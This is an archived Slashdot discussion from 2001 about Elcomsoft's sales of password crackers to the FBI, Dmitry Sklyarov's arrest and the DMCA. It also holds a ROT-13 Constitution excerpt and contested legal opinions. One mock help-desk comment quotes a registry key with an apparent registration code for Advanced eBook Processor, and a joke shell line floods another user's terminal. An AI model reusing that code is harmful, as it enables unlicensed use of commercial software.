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Dimitry's company sold password crackers to the FBI
According to this russian article, Elcomsoft sold password crackers to the FBI. Elcomsoft's president, Alexander Katalov said
"Yes, main customers of our program for breaking passwords are special services. Same FBI repeatedly for us purchased these programs". Since Alexander was involved in the KGB, he is apparently trying to pull favours from his FBI friends.
The following russian to english translator appears to work on the article. Alternatively you can read this Inquirer article which provides a partial translation.
...is the fact that a new kernel was released, and for once Slashdot actually decided not to report it instead of talking about things that are actually interesting.
If the FBI would arrest themselves for violating the DMCA everything would be peachy.
Alexander how there was Dmitry's arrest?
We get handcuffed!!
What your lawyers speak?
How are you client?
All your rights are belong to government.
You have no chance to survive.
What you are going to do(make) now?
Since I have no chance to survive,
I will make my time.
Ha Ha Ha Ha!
But you see "having broken open" the book once, it is possible to distribute her(it) then...
Move 'broken female book.'
You know what you doing.
Take off every 'broken female book.'
Final thoughts?
Please, get me out of here.
For great justice!!!
The more things change, the more they stay the same.
--
"Remember when the U.S. had a drug problem, and then we declared a War On Drugs, and now you can't buy drugs anymore?"
We just make a new protocol when the bandwidth reuires it.
...
Wouldn't it be cool to be able to hire two people who can *invent* a new language of communication, in realtime, which only *the two of them* could understand, depending on the subject matter being discussed
Kinda weird and sci-fi, I guess, but then again: so was email, once.
; -- the corruption of government starts with its secrets. a truly free people keep no secrets. --
Ummm... don't miss the point:
He was *angry enough about something* to want to kill another human being. Defense issues asside, the police *shouldn't have had to be in a position to defend themselves in the first place*.
Corporate greed has overshadowed proper management of politics.
; -- the corruption of government starts with its secrets. a truly free people keep no secrets. --
So, if someone 'puts' an E-book on my machine, and a decryptor, then it's okay for me to break into my own system using the software they left for me?
Because those people wouldn't actually be *guilty* of anything more than just putting some software on my system. They didn't do the decryption on a system they didn't own, after all.
What's the DMCA law say about making a *copy* on someone elses machine, for safe-keeping? The notion of 'selling disk space for another system', as it were...
; -- the corruption of government starts with its secrets. a truly free people keep no secrets. --
As a non-US citizen, residing in the US, I can tell you this: I have no rights.
A little known fact about immigrants - until they're naturalized, they're not protected by the Constitution, or any of the other 'benefits' of being a US citizen...
; -- the corruption of government starts with its secrets. a truly free people keep no secrets. --
FBI?
KGB?
OSS?
EFF?
*core dump. Unable to parse universe.
; -- the corruption of government starts with its secrets. a truly free people keep no secrets. --
"I believe firmly that the EFF are wrong to negotiate on this one. This needs to be fought in court, all the way to the top, with the intention of having the DMCA or parts thereof ruled unworkable."
While your sentiment for improving the world is nice, don't forget that there are real humans with real lives involved. Not only Dmitri, but his family. Dmitri didn't ask to be a poster boy for defects in US laws. I think his opinion on how to handle this is far more important than yours, mine, or whatever motives the EFF has. I'd like to think the EFF is working on his behalf, rather than using him for their own purposes.
-Paul Komarek
Boucher has been against the DMCA for quite a while now. I understand he's against UCITA as well. He's one of the few people in Congress willing to speak out against it.
See this earlier /. article for more.
It's not enough to bash in heads, you've got to bash in minds. - Captain Hammer
In my nearly four years of reading Slashdot, this is without a doubt the most insightful, wise, and significant statement ever made. And I'm not exaggerating.
Pravda has a story which might be of interest:
l
http://english.pravda.ru/usa/2001/07/18/10431.htm
NULL
--
Investigative journalists-- there's a Pulitzer waiting for you in here somewhere.
-------------------
-------------------
This is my SIG. There are many like it, but this one is mine.
"If you are not already aware, Elcomsoft are the makers of a heinous Spam-ware package, Advanced Direct Remailer, which circumvents an outgoing SMTP server, and sends directly to recipient servers.
So? I hate spam as much as the next guy. So what. The point is that the DMCA is shit, and this poor bastard is being held under the flimsiest of excuses. If we start applying different standards to spammers, who's next? Jews? Blacks? Asians? It's all or nothing buddy. See Franklin's quote about those who would give up liberty...
Regards,
ehintz
Hey looks like Sklyarov isnt the only one "cracking" things he shouldn't be...
It's ok because we're the government... Riiiight.
prosebeforehos.com
In fact, conservatives interpret (rightly IMHO) the constitution literally, as it was written, and in accordance with the writings of the founding fathers.
Liberals reinterpret the constitution to fit the situation. During the presidential debates, Gore said the constitution should be a "living document." A prime example is the former solicitor general's letter that explained the official stand of the DOJ was that the 2nd amendment did not guarantee an individual right to bear arms, only a collective right for state militias. That's funny, they don't argue that about the 1st or 4th amendments.
The FBI probably has a copy of every cracking/security gizmo out there. They're in the security business, they get them primarily to know how they work and what their "adversaries" have and can get and can do.
If this is a surprise to anyone, I'm surprised...
IANAL, blah blah blah.
--
Editor Emeritus and Senior Writer, TeleRead.org
Which came first? The lack of effect upon government, or the lack of interest in it?
Also:
What makes you think that folk aren't interested, just because they don't respond in the ways that you want them to? This is falacious reasoning. Techs are well known to be less interested politically than most people, but slashdot gets quite worked up about many political issues. Perhaps what you are seeing is a boiler with the release valve stuck shut? How would you know? If that is a reasonable analogy, then a quite small change in the height of the flame underneath could have quite unexpected results.
Caution: Now approaching the (technological) singularity.
I think we've pushed this "anyone can grow up to be president" thing too far.
Those in power don't WANT common ground. They want the populace apathetic, and divided. The politics of divisiveness have been well understood since Machiavelli, and they're working PERFECTLY right now.
To the detriment of everybody save the politicians.
Why yes, I AM a rocket scientist!
A corrupt legal system is one of the main things that keeps Russia a third world nation
You're kidding right? There are SOOO many more other factors involved than just "a corrupt legal system". Your statement demonstrates a lot of ignorance/naivety .. remember, Russia hasn't even been a capitalist democracy for more than a few years .. you somehow expect that they should already just magically match the USA economically? That sort of damage takes decades of undoing before results start to be seen. How can you say anything at this stage about why they are "kept" a third-world nation?
-----
[See the parrent for the first part]
So you are saying that Adobe got interested in you only after they got in trouble themselves?
Yes! Barnes&Noble stopped selling ellectronic books for 24 hours and announced that the Adobe format cannot provide adequate security. Adobe's actions started after that.
Recently in the US there was a similar case regarding a program to break DVD encryption. And they did win a case in court against people who were distributing DeCSS.
Yes, our story with eBook is closest to the DeCSS case: they created a program , which allows the viewing of DVD movies on Linux. But they are already winning similar cases, and filing counter-suits. After all, they were forbidden to publish the algorithms, and algorithms are scientific work, which cannot be prevented from distribution.
It is known that the FBI sometimes arrests hackers only to offer them freedom in return to collaboration. Is it possible that Dmitriy will be freed in this way?
Well, they could have done this to me, since I studied at the KGB Institute once uppon a time. In Dmitriy'c case, I doubt it. Unless they invite him to work as a programmer...
But hasn't "Elcomsoft" already collaborated with the FBI?
Yes, the main users of our password-cracking program are law enforcement agencies. That same FBI has bought these programs from us many times.
Wouldn't this help free Dmitriy?
I don't know. These are different departments. I will try to call my contacts, of course.
From http://www.netoscope.ru/theme/2001/07/17/2925.html
They Handcuffed Dmitriy Right Away
Alexey Andreyev
lexa@spb.cityline.ru
7/17/2001
The president of "Elcomsoft" Aleksandr Katalov tells details about the arrest of the company's employee Dmitriy Sklyarov. The FBI arrested Dmitriy in Las Vegas after his presentation at Def Con of a [computer] science paper, part of his dissertation. In the USA, however, he is going to be tried as a malicious hacker.
Aleksandr, how was Dmitriy arrested?
DefCon was on Sunday, and Dmitriy was presenting our paper "eBook Security: Theory and Practice." On Monday morning, he, and another of our employees, Andrey, were leaving the hotel for the airport. Two individuals stopped them at the exit. They showed them FBI badges, and handcuffed Dmitriy right away. Dmitriy and Andrey were led to different rooms. The just had a discussion with Andrey - asked him this and that for about half an hour, then let him go. He tried to call me several times, but couldn't reach me. Then he called the Moscow office around 10:30, and they sent us an [e-]mail about the arrest.
Was Dmitriy Sklyarov the only author of the program "Advanced eBook Processor" (because of which he was arrested)?
Of course not! Also, he was responsible for the scientific, research part of the project, he is the author of the algorithms. This is part of his dissertation. At least three employees of our company have worked on this program, and it is distributed under the "Elcomsoft" brand. But now the Americans, most likely, will try to represent this as a break-in, perpetrated by some lone Russian hacker.
So it turns out, they "took away" Dmitriy, only because he did a presentation at DefCon?
It looks like it, yes. Although at the beginning of his presentation he announced that he is employed by "Elcomsoft", the company which developed this program.
What do your lawyers say?
Our lawyers learned about the arrest in the evening, after everything was already closed. Here is what happened: after I got the message about the arrest, I immediately called the Russian consulate. They suggested that I wait until noon - maybe he would be placed on the flight to LA, and from there on the Aeroflot flight home. However, he didn't show up at the airport. After that the consulate started preparing an official inquiry for the American authorities. They were dealing with that until about 2 pm, when the check-in for the flight was over - it was clear the Dmitriy hadn't left. On top of that, we had no idea where he was. Around 2 the consulate made the inquiry but until the end of the work day - 6 pm - there was no response. In other words, on Monday there was no information whatsoever.
On Tuesday morning, when our Moscow office openned, Dmitriy's wife called. She told them that she was called and informed through a translator that her husband was arrested. They didn't let her talk to him personally. This happened around 4 am Moscow time - so here it was still around 3 pm on Monday. Turns out that they didn't inform the consulate that day.
Have they filed charges?
From what I understood from Dmitriy's wife (and she wasn't clear on everything under these circumstances, she also has a two-month old child) - yesterday was when he was arraigned. And it was decided that until the trial Dmitriy will stay in jail, because there is no one here to post bail for him. Further more, they did not tell anyone [who could post bail] about the arrest - not us, not the consulate. Obviously, we couldn't do anything yesterday.
After this case, and the arrest of another Russian hacker earlier, one could think that the FBI has established a new operating procedure: lure Russain hackers to the US, and arrest them there, "according to their laws." Have your employees traveled before to meetings like DefCon? Were there no similar stories?
Sort of like Cantonese vs. Mandarin, but the other way around.
------
I hear Mussolini made the trains run on time.
- - - - -
Napster-to-go says "Fill and refill your compatible MP3 player", which is a lie. It's not MP3. It's WMA with DRM.
Jr gur crbcyr bs gur Havgrq Fgngrf, va beqre gb sbez n zber cresrpg havba, rfgnoyvfu whfgvpr, vafher qbzrfgvp genadhvyvgl, cebivqr sbe gur pbzzba qrsrafr, cebzbgr gur trareny jrysner, naq frpher gur oyrffvatf bs yvoregl gb bhefryirf naq bhe cbfgrevgl, qb beqnva naq rfgnoyvfu guvf Pbafgvghgvba sbe gur Havgrq Fgngrf bs Nzrevpn.
Nzraqzrag V
Pbaterff funyy znxr ab ynj erfcrpgvat na rfgnoyvfuzrag bs eryvtvba, be cebuvovgvat gur serr rkrepvfr gurerbs; be noevqtvat gur serrqbz bs fcrrpu, be bs gur cerff; be gur evtug bs gur crbcyr crnprnoyl gb nffrzoyr, naq gb crgvgvba gur tbireazrag sbe n erqerff bs tevrinaprf.
Nzraqzrag VI
Gur evtug bs gur crbcyr gb or frpher va gurve crefbaf, ubhfrf, cncref, naq rssrpgf, ntnvafg haernfbanoyr frnepurf naq frvmherf, funyy abg or ivbyngrq, naq ab jneenagf funyy vffhr, ohg hcba cebonoyr pnhfr, fhccbegrq ol bngu be nssvezngvba, naq cnegvphyneyl qrfpevovat gur cynpr gb or frnepurq, naq gur crefbaf be guvatf gb or frvmrq
Nzraqzrag IV
Va nyy pevzvany cebfrphgvbaf, gur npphfrq funyy rawbl gur evtug gb n fcrrql naq choyvp gevny, ol na vzcnegvny whel bs gur fgngr naq qvfgevpg jurerva gur pevzr funyy unir orra pbzzvggrq, juvpu qvfgevpg funyy unir orra cerivbhfyl nfpregnvarq ol ynj, naq gb or vasbezrq bs gur angher naq pnhfr bs gur npphfngvba; gb or pbasebagrq jvgu gur jvgarffrf ntnvafg uvz; gb unir pbzchyfbel cebprff sbe bognvavat jvgarffrf va uvf snibe, naq gb unir gur nffvfgnapr bs pbhafry sbe uvf qrsrafr.
Nzraqzrag IVVV
Rkprffvir onvy funyy abg or erdhverq, abe rkprffvir svarf vzcbfrq, abe pehry naq hahfhny chavfuzragf vasyvpgrq.
Nzraqzrag VK
Gur rahzrengvba va gur Pbafgvghgvba, bs pregnva evtugf, funyy abg or pbafgehrq gb qral be qvfcnentr bguref ergnvarq ol gur crbcyr.
"Ynj vf bsgra ohg gur glenag'f jvyy, naq nyjnlf fb jura vg
ivbyngrf gur evtug bs na vaqvivqhny." --Gubznf Wrssrefba gb
Vfnnp U. Gvssnal, 1819.
"Jr jvfu abg gb zrqqyr jvgu gur vagreany nssnvef bs nal pbhagel,
abe jvgu gur trareny nssnvef bs Rhebcr." --Gubznf Wrssrefba gb
P. J. S. Qhznf, 1793.
"Ab bar angvba unf n evtug gb fvg va whqtzrag bire nabgure."
--Gubznf Wrssrefba: Bcvavba, 1793.
"V oryvrir gurer ner zber vafgnaprf bs gur noevqtrzrag bs gur serrqbz bs gur crbcyr ol tenqhny naq fvyrag rapebnpuzragf bs gubfr va cbjre guna ol ivbyrag naq fhqqra hfhecngvbaf," Wnzrf Znqvfba, gb gur Ivetvavn engvslvat Pbairagvba ba Whar 16, 1788
Gur gerr bs yvoregl zhfg or erserfurq sebz gvzr gb gvzr jvgu gur oybbq bs cngevbgf & glenagf. Vg vf vg'f angheny znaher.
-Gubznf Wrssrefba
"Ab serr zna funyy rire or qroneerq gur hfr bs nezf." Gubznf Wrssrefba, Cebcbfrq Ivetvavn Pbafgvghgvba (1776).
"Gur fhcerzr cbjre va Nzrevpn pnaabg rasbepr hawhfg ynjf ol gur fjbeq, orpnhfr gur jubyr obql bs gur crbcyr ner nezrq, naq pbafgvghgr n sbepr fhcrevbe gb nal onaq bs erthyne gebbcf." Abnu Jrofgre, Na Rknzvangvba vagb gur Yrnqvat Cevapvcyrf bs gur Srqreny Pbafgvghgvba Cebcbfrq OI gur Yngr Pbairagvba (1787).
"V nfx, fve, jung vf gur zvyvgvn? Vg vf gur jubyr crbcyr. Gb qvfnez gur crbcyr vf gur orfg naq zbfg rssrpghny jnl gb rafynir gurz." Trbetr Znfba, qhevat Ivetvavn'f Pbairagvba gb Engvsl gur Pbafgvghgvba (1788).
- - - - -
Napster-to-go says "Fill and refill your compatible MP3 player", which is a lie. It's not MP3. It's WMA with DRM.
No, you should interpret legal texts according to their meaning and purpose.
Bah. What good is objective, codified law if it's constantly being "interpreted" by different judges with different biases? None! In a free republic, law is to be accessible, understandable, and evenly enforced. In a tyranny, law is to be malleable and mutable to the purpose at hand.
The whole reason law is to be made public, the whole reason that law is not en force until it is codified -- made public in written form -- is so that the people will be able to know what the laws says and what it does not. We're not talking about poetry here, where the text really should be and is open to interpretation. We're talking about law, where people's rights, freedoms, lives and property are at stake.
The Rule of Law requires literal, objective law: "This is illegal."
Rule by Men requires colorable, interpretable, "flexible" law: "This might be illegal, try it and see."
Are you suggesting that, where the Constitution says "Congress shall make no law", it's actually open to interpretation? I.e., that Congress can, in fact, make law in the very area that the Constitution says it cannot, as long as some judge says it can?
I disagree.
- - - - -
Napster-to-go says "Fill and refill your compatible MP3 player", which is a lie. It's not MP3. It's WMA with DRM.
This story is truly a test of [...] the U.S. Constitution.
The U.S. what? The what constitution? The what what?
OH, you mean that thing that Congress has been wiping its ass with for the last century, that the religious wacko right wants to do away with, that the chucklehead left wants to do away with, and which wouldn't be ratified if it were brought to a vote today?
It describes a different, better, and dead country. May its day come again.
- - - - -
Napster-to-go says "Fill and refill your compatible MP3 player", which is a lie. It's not MP3. It's WMA with DRM.
I posted this in a previous discussion:
"If you are not already aware, Elcomsoft are the makers of a heinous Spam-ware package, Advanced Direct Remailer, which circumvents an outgoing SMTP server, and sends directly to recipient servers. They also sell address collection and verification software (The reason all of you mangle your Email address here on Slashdot). AND all their shareware is password protected. It just sounds like he got caught up in his own game, eh?"
LS
There is a fine line between being a cultivated citizen and being someone else's crop. - A. J. Patrick Liszkie
I used to work for a certain investigation-oriented agency of the Australian government. Once we needed to break into a password-protected Excel spreadsheet in order to try to prove that the owner was up to no good. We didn't bother paying for a tool to do it; I just downloaded a free tool off the net. I like to think I saved the Australian taxpayer some money, there.
sub f{($f)=@_;print"$f(q{$f});";}f(q{sub f{($f)=@_;print"$f(q{$f});";}f});
As I recall (and my memory is kinda hazy here, as I wasn't doing any investigating), the hard drive on which the file was found was obtained by a search and seizure warrant. By the time we got hold of it, I think we were well into the discovery phase.
Bear in mind: IANAL. I just worked for Ls at the time. I can't even remember what the case was (or even if I ever knew). They all kinda run together after a few months.
sub f{($f)=@_;print"$f(q{$f});";}f(q{sub f{($f)=@_;print"$f(q{$f});";}f});
I spent a couple of hours translating this stuff while my manager was trying to sneak up on me from behind to catch me reading /., got my shitty 1 point for no thanks. And after all of this you are talking about justice.
Also the Constitution is (for now) in the public domain.
It's the police state vs. the freedom of the people. In one word, Big Brother.
Don't be mindless drones! Resist the Borg!
They aren't total corporate shills yet
--me
WWLUG: Feed the penguin.
Also, I recently applied for a position as a software engineering manager at Adobe, which would be a good job for me and for which I feel I am qualified. Times have been tough for me and my little family and for quite some time I thought I might not speak out in a public way on this matter.
But long ago I decided that staying quiet was the wrong thing to do, so after quaking in fear for a while I decided I'd copy the following letter to the nice lady in the Adobe HR department who has been considering my application.
Mike
-- Could you use my software consulting serv
Alexander how there was Dmitry's arrest?
- On Sunday there was conference Def Con. There Dmitry appeared with our presentation eBook Security: Theory and Practice . On Monday in the morning, about nine hours, it(he) and one more our employee, Andrey, left hotel in the airport. On an output(exit) from hotel of them two have stopped. Have presented certificates of agents of FBI. On Dmitry at once give handcuffs. And at once have dissolved them with Andrey on different to rooms. With Andrey had simply a talk - about(near) poluchasa asked, what yes as after that have released(let off). It(he) some times tried to phone to me, but it was impossible. Then it(he) has phoned in the Moscow office, somewhere in the half-tenth, and to us therefrom have thrown a mail with the message on arrest.
- What your lawyers speak?
- Our lawyers know about arrest only to evening when all was already closed. Business occured so: after the message on arrest I have called at once in the Russian consulate. In consulate to me all over again have offered to wait till 12 o'clock in the afternoon - can be, it(him) all the same will plant aboard the plane and will send to Los Angeles, and therefrom already trip of "Aeroflot". But it(he) and has not appeared at the airport. After that the consulate began to make out official inquiry to the American authorities. With it they were taken till two when registration aboard the plane was ended - it became clear, that Dmitry has not departed. Thus we at all did not know, where it(he) in general is. About two consulate has sent inquiry, but up to the end of a working day - till six evenings - we and have not received the answer to him(it). That is on Monday of the information of any at all was not.
On Tuesday in the morning when our Moscow office has opened, wife Dimy there has called. She(it) has told, that to it(her) have called and through a translator have informed, that its(her) husband is arrested. To it(him) to it(her) to talk did not give. It has taken place about 4 o'clock in the morning on Moscow - that is here was about 3 o'clock in the afternoon of Monday. It is received, that they and have not transmitted the information on arrest to consulate till evening.
- What you are going to do(make) now?
- Yesterday it was in general not clear where to access. Now for us eight mornings (Tuesday - red. ), for me here the attorney, we shall understand with it(him) today, that it is possible to make. I have cancelled the further flights - visiting three more conferences was scheduled. It was necessary to hand over ticket and to remain in Las Vegas. My brother Vladimir, managing director our company, has departed to Moscow to complete there different affairs - I it(him) conducted up to the plane to be sure, that with it(him) of nothing happened.
- But you see "having broken open" the book once, it is possible to distribute her(it) then...
- Our program "does not break open" the book: the one who has purchased her(it) can produce the second copy of the book. If the person has made a copy and itself began to sell her(it) on piracy disks - it(he) infringes that it the law, instead of our program. And manufacture of copies for own needs - is valid. In general, under the Russian legislation, software Adobe which does not give illegal& to use the purchased product there where that is wanted by the buyer without delay. This violation of rights of a customer. Besides during a purchase of books in Adobe format the customer is not notified at all on these limitations.
- A visitor to this country is jailed because of something he did in his own country infuriated an American corporation.
- Same visitor did not commit ANY illegal acts in this country.
- Visitor's said actions were very much legal in his own country.
- This story is not even mentioned by the news media.
And this is America, the land of the free?
800-833-6687 from 6:00 am to 8:00 pm Pacific Standard Time, seven days a week.
.pdf files under Ghostview?"
Sample Questions:
"How do I get a copy of ElcomSoft's AEBPR (Advanced E-Book Processor)?"
"Excuse me do I have the right Windows registry hack? [HKEY_LOCAL_MACHINE\Software\Elcom\Advanced eBook Processor\Registration] "Code"="LEPR-T2K7-NA8Z-3DUE-EVDQS-TMPV-MBAUB"
"Can you tell me how to rotate an image with the Gimp?"
"Is it a violation of the DMCA to read
bash-2.04$
bash-2.04$
bash-2.04$yes "Don't you hate dialup connections?"| write USERNAME
You know...there's a grain of truth in that statement...what if ROT-13 was a language, or what if we geeks started using ROT-13 as a language (sorta like how certain religious groups speak in Latin or Hebrew).
Then, all these programs to change ROT-13 text into plaintext, well they would just be translators wouldn't they? Languages are so drastically different from each other it could be argued that the grammar of this language is derived from a single keyword.
Food for thought?
- JoeShmoe
-- I wonder which will go down in history as the bigger failure: the War on Drugs or the War on Filesharing
Imposter! Real script kiddies don't say "you're" (unless they're saying "hey, is that you're bot?").
-Legion
You are young, you are stupid, you are the trolls who've ruined slashdot. You speak much, but say nothing. You reply to everything but read nothing.
And your not even good at it. Get over yourself.
Free Techno/Jazz/DNB/MI Music by guys obsessed with monkeys!
This happens all the time at the university I work at, I'll call a company wanting to purchase equiptment and they'll make a quote and a half our later the sales rep for my university will call (who I've never heard of) wondering why I didn't go through him -- after all -- he sold the XXX lab some equiptment not two weeks ago -- and the answer of course is -- in large orginizations departments don't communicate about this as mundane as software/hardware purchases ...
Free Techno/Jazz/DNB/MI Music by guys obsessed with monkeys!
What follows may well be shocking and offensive to the RIAA and MPAA! Keep it from your children at all costs - it may give them improper ideas!
We the people of the United States, in order to form a more perfect union, establish justice, insure domestic tranquility, provide for the common defense, promote the general welfare, and secure the blessings of liberty to ourselves and our posterity, do ordain and establish this Constitution for the United States of America.
Amendment I
Congress shall make no law respecting an establishment of religion, or prohibiting the free exercise thereof; or abridging the freedom of speech, or of the press; or the right of the people peaceably to assemble, and to petition the government for a redress of grievances.
Amendment IV
The right of the people to be secure in their persons, houses, papers, and effects, against unreasonable searches and seizures, shall not be violated, and no warrants shall issue, but upon probable cause, supported by oath or affirmation, and particularly describing the place to be searched, and the persons or things to be seized
Amendment VI
In all criminal prosecutions, the accused shall enjoy the right to a speedy and public trial, by an impartial jury of the state and district wherein the crime shall have been committed, which district shall have been previously ascertained by law, and to be informed of the nature and cause of the accusation; to be confronted with the witnesses against him; to have compulsory process for obtaining witnesses in his favor, and to have the assistance of counsel for his defense.
Amendment VIII
Excessive bail shall not be required, nor excessive fines imposed, nor cruel and unusual punishments inflicted.
Amendment IX
The enumeration in the Constitution, of certain rights, shall not be construed to deny or disparage others retained by the people.
"Law is often but the tyrant's will, and always so when it violates the right of an individual." --Thomas Jefferson to Isaac H. Tiffany, 1819.
"We wish not to meddle with the internal affairs of any country, nor with the general affairs of Europe." --Thomas Jefferson to C. W. F. Dumas, 1793.
"No one nation has a right to sit in judgment over another." --Thomas Jefferson: Opinion, 1793.
"I believe there are more instances of the abridgement of the freedom of the people by gradual and silent encroachments of those in power than by violent and sudden usurpations," James Madison, to the Virginia ratifying Convention on June 16, 1788
The tree of liberty must be refreshed from time to time with the blood of patriots & tyrants. It is it's natural manure. -Thomas Jefferson
"No free man shall ever be debarred the use of arms." Thomas Jefferson, Proposed Virginia Constitution (1776).
"The supreme power in America cannot enforce unjust laws by the sword, because the whole body of the people are armed, and constitute a force superior to any band of regular troops." Noah Webster, An Examination into the Leading Principles of the Federal Constitution Proposed BV the Late Convention (1787).
"I ask, sir, what is the militia? It is the whole people. To disarm the people is the best and most effectual way to enslave them." George Mason, during Virginia's Convention to Ratify the Constitution (1788).
---
Book(n): Utensil used to pass time while waiting for the TV repairman
...all our bitchslaps are belong to your head!
You're using her as bait, Master!
If it's right for one person or group to do it, it's right for every person or group.
Q.E.D.
--Fesh
--Fesh
Kill -9 'em all, let root@localhost sort 'em out.
--Fesh
--Fesh
Kill -9 'em all, let root@localhost sort 'em out.
If he changed his name.
Bill, *drum* *drum* *cymbals*
> What law?
The Digital Millennium Copyright Act (DMCA).
>Certainly not criminal law, since you did not do it "willfully and for the purposes
>of commercial advantage or private financial gain.
He is making money for slashdot, a commercial business, by using a document owned by the United States of America.
> In fact, you can't even be sued for under civil law, since no one was injured
>by your violation.
I was... You see, here in China we don't believe in these basic rights. Now you have infected by mind with the ideas of Western government and my communist leaders are gonna roll over me with a tank as punishment! You dont think thats injurement?
----
Damn you idiots, don't you see whats going on here?
Ever need an online dictionary?
In fact, conservatives interpret (rightly IMHO) the constitution literally, as it was written, and in accordance with the writings of the founding fathers.
Liberals reinterpret the constitution to fit the situation.
So what YOU are saying is the the Constitution should never have been reinterpreted to include Blacks or Women ?
Jesus died for sombodies sins, but not mine.
"Our products just aren't engineered for security,"
-Brian Valentine,VP in charge of MS Windows Development
You can't get sued for decoding ROT-13. At least, if you did get sued for it it would get thrown out of court.
ok then your [sic] infringing on my copyright! Could you as [sic] me next time before STEALING my comments for your own?
In decrypting the above and posting it here, I am violating the law of the USA.
What law? Certainly not criminal law, since you did not do it "willfully and for the purposes of commercial advantage or private financial gain. In fact, you can't even be sued for under civil law, since no one was injured by your violation. Further, there was an implicit license to "decrypt", and the measure does not "in the ordinary course of its operation, [require] the application of information, or a process or a treatment, with the authority of the copyright owner, to gain access to the work."
ok then your [sic] infringing on my copyright! Could you as [sic] me next time before STEALING my comments for your own?
Of course they purchased password cracking software. They had to get evidence.
ok then your [sic] infringing on my copyright! Could you as [sic] me next time before STEALING my comments for your own?
No, they can't. No one can sue under the DMCA. The DMCA is criminal law, not civil law, and Adobe didn't sue Sklyarov, they told the FBI "hey, this evil haxx0r d00d is breaking federal law (viz. the DMCA)".
Have you read the DMCA? Even the part that I quoted? It is both civil law and criminal law. Section 1203 refers to civil remedies. Specifically, "Any person injured by a violation of section 1201 or 1202 may bring a civil action in an appropriate United States district court for such violation." My point was, I wonder if it is implied that that "person injured" must be the copyright holder of the work. I would assume so, but you never know. Section 1204 refers to the criminal penalties, which is only for both willful and commercial violation.
There is no question of whom the original copyright belongs to, I'm not even sure what copyright you're talking about - Sklyarov hasn't been accused of copyright infringement.
Now let's turn to Section 1201: "No person shall circumvent a technological measure that effectively controls access to a work protected under this title." [emphasis mine]. If it is not copyrighted, it is not "a work protected under this title," and you are not violating the DMCA.
Under the DMCA, there needn't be any copyright infringement involved at all, and in this case, there isn't. The DMCA makes it a federal crime for Sklyarov to distribute a tool that could theoretically be used to circumvent an access control device, even if the tool in question is never used at all.
Also from Section 1201, "No person shall manufacture, import, offer to the public, provide, or otherwise traffic in any technology, product, service, device, component, or part thereof, that [...] is primarily designed or produced for the purpose of circumventing protection afforded by a technological measure that effectively protects a right of a copyright owner under this title in a work or a portion thereof." The tool need not only theoretically be used to circumvent an access control device, it must be primarily designed to to circumvent an access control device of a copyrighted work.
ok then your [sic] infringing on my copyright! Could you as [sic] me next time before STEALING my comments for your own?
Cheers... .*shrc is
--
$HOME is where the
$HOME is where the
-- silver_p
you might not like their policies, but you can't deny their software is good. period.
Their encryption software IS really good.period. It is way faster than my HoneyCrackers Cereal Secret Decoder Ring.
.134340: I am not a number. I am a free planet!
Who wrote that circumvention device that allows access to copyrighted information that has been encrypted in Russian?
134340: I am not a number. I am a free planet!
That's because you have sucky laws and law enforcement. That's an issue of gov't and corps vs. the rights of people. It's a broad issue, and it's an issue that needs to be addressed. All I'm saying is that you should be careful who you make into heroes, heroes tend to let you down.
Employee of Inrupt, Project Release Manager and Community Manager for Solid
It's worse that Elcomsoft sells rather nasty spamware.
If it had been idealism, I would have been on the barricade right away, but this is a case of Elcomsoft's money vs. Adobe's money, and I think I'll limit my protest to underwriting petitions, and speak out against the use of PDF.
But you guys need to get rid of DMCA, it is clearly a significant threat to free expression, and I guess this is a good case to use in that fight. Just don't make heros of Elcomsoft.
Employee of Inrupt, Project Release Manager and Community Manager for Solid
Good thing I read that twice. Otherwise I'd be flaming you. (honest) No he is not.
This is the problem with the media and even politicians, using the words 'hacker' and 'cracker' indescriminately, not having the simplest understanding of the issues involved. The very sentence you used, "he sells passwords and cracks" is a distortion of the facts, if I were to interpret it with a script-kiddy vocabulary.
Dmitri is not breaking into houses. He makes hammers. Tools. Making hammers and tools shouldn't be illegal, because it prevents us from doing lawful things that we are/should be allowed to do, like building houses. Using hammers and tools to commit crimes should be illegal.
Hammers isn't the best analogy, because 99.99% of hammer use is legal. But the vast majority of people outside the media/corporate-blockhead world, once they're made aware of the circumstances, believe that making the tools that he makes and distributing the information that he distributes should not be illegal.
The media-industry wants to make the manufacturing of certain tool-types illegal, while most of us believe that creating these tools should not be illegal, because although they can be used for illegal means, they are often used for legal means. We believe that you should have the right to have access to these tools in order to excercise your lawful rights to do certain things. Case law and previous judicial findings back us up. Unfortunately the industry has deep pockets and managed to ram through some laws (which are likely unconstitutional, we just haven't had a solid case to run through the courts yet), which make it illegal to make and sell these hammers and tools for profit, and make it illegal and dangerous to even disclose how to make a hammer to build your house or discuss how the industry makes it's own houses.
No they would not. Not if someone competent (aka not the media or the industry) were to properly inform them of all the issues and the appropriate analogies.The average guy on the street should have the right to use the tools that this guy makes. The average guy on the street deserves to have people like this guy force companies like Adobe create useful half-decent products, that also do not violate the average-guy's rights.
You've probably broken the very SAME laws doing things that you thought you should be allowed to do. Ever heard of "Fair Use"? The DMCA (the unconstitutional law) has provisions which effectively revoke your rights of "Fair Use" through technological means. They're not just attacking him, they're attacking your rights by preventing this guy from writing software tools for you. Not only that, but they're preventing you from being told that Adobe software is really really crappy and why.This is only the tip of the iceberg. The fugure is coming, and only us techies see it. It is NOT pretty. Bend over. YOU are next.
Yeah, at one point I wondered about that too.
Then I took a look at their financial profile. Notice that they have a 10 Billion dollar market capitalization, revenues of around 1.5 billion dollars a year, and CEO's and directors that make 3-50 million dollars a year.
Adobe isn't a small little tech company run the the techies it was founded by. It's just another mammoth headless corporation run by 50-70 year old MBA/corporate-execs who've been floating around in the top of the corporate jungle for ages.
Now their actions make perfect sense to me :\
(BTW: runestar's lockpick analogy is better than my hammer one.)
Can I sue the FBI? They might access the MS word file that I password protected!
Sig: Tell all your friends NOT to download the Advanced Ebook Processor:
LedgerSMB: Open source Accounting/ERP
Russian law considers it a violation of consumer rights to prohibit fair use of copyrighted works. America has no such provision. As has been pointed out, Adobe's licensing is actually what breaks the law in Russia because it violates the rights of the consumer to make a second personal copy.
This sort of law is common in Western Europe. So did he break the law? It depends on whether you consider American law to be the law. That is the first issue.
The second issue is something I am more concerned about. Freedom of speech is generally held to be freedom of expresson, not freedom of practical speech (telling someone how to build a bomb is less protected that saying that the president is a murderer because the latter has political value while the former has practical value). Security related speech is therefore less protected than many other forms of speech.
It is also more important. If security related speech is dampened even somewhat, then the security tools which are available will not necessarily live up to their claims (note how much better CIFS security is since SAMBA came around... Not that it is still that great but it is much better than it had been when Microsoft relied on security through obscurity). Without the ability to demonstrate publicly the means to break security measures, the only people who will have the necessary security knowledge are crackers.
